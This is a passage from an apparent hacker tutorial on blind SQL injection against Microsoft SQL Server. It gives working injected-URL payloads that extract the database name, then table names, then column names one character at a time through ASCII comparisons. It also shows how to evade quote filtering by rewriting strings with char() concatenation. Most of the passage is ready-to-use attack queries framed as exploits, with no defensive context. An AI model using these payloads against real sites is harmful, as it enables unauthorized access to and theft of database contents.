http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
The result is a valid query result and at this point, the ascii value of first character of database name is between 105 and 120.
So, we try
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
You see that the first character of database name has an ascii value which is greater than 108
but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.
You can prove with:
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109 .
We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .
The rest which you have to do is to manipulate some queries to collect your preferred information.
In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.
++++++++++++++++++++++++++++++++++++++++++++
[0x03c] - Exploit query for get Table name
++++++++++++++++++++++++++++++++++++++++++++
In order to get table name, we can use above method to obtain each character of table name.
The only thing that we have to do is to change query to retrieve table name of current database.
As MSSQL does not have limit command. Therefore, the query is a bit complicate.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97
The above query is used to determine the first character of first table in current database. If we want to find second character of first table,
we can do by following request:
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97
We change the second parameter of substring function from 1 to 2 in order to specify preferred position of character in table name.
Thus, if we want to determine other positions, we require only changing second parameter of substring function.
In case of other tables, we can find other table names by changing the second select
from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)=97
The above request will determine the first character of the second table name in current database.
+++++++++++++++++++++++++++++++++++++++++++++
[0x03d] - Exploit query for get Column name
+++++++++++++++++++++++++++++++++++++++++++++
After we obtain table names, the next target information is absolutely column names.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
In order to circumvent from magic quote filtering, you have to change 'tablename'
to be the form of concatenating char() command. for example, if table name is 'user',
when we put 'user' in the query, ' may be filtered and our query will be wrong.
The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114).
So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)".
In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the first column name of specific table.
When we want to find the second character of the first column, we can use the same method as getting table name, by changing the second parameter of
substring function.
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
The above request is used to determine the second character of the first column name in specific table.
In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
The first character of the second column name in specific table can be determined by the above request.